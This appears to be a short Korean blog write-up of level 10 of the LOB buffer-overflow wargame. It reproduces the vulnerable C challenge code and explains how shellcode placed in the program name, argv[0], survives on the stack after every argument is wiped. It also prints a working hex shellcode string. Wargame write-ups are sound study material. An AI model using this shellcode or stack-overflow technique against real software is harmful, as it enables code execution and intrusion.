LOB-level10
예전에 10을 풀다 어려워서 나중에 풀어야지 했는데 오늘 오전에 잠깐 시간내서 풀어봤습니다.
이 문제의 포인트는 argv[0], 즉 프로그램의 이름이 스택의 끝에 남아있는다는 점입니다.
그래서 argv들을 모두 초기화해도 스택에 프로그램의 이름이 남아있게 되는데 이를 이용해서 풀었습니다.
쉘코드는 "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"
를 이용했습니다. 제가 기존에 쓰던 쉘코드로는 풀리지 않았습니다. 저 쉘코드를 이용하니 한번에 풀렸습니다.
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i, saved_argc;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
// argc saver
saved_argc = argc;
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
// ultra argv hunter!
for(i=0; i<saved_argc; i++)
memset(argv[i], 0, strlen(argv[i]));
}
저 빨간색 부분때문에 어려운 문제 였던 것 같습니다. argv들을 모두 초기화 하기 떄문에 스택에 argv[0]인 프로그램의 이름이 쓰여진다는 것을 모르는 풀기 힘들 것 같습니다.
여기 스택에 프로그램의 이름이 쓰여있습니다.
0 개의 댓글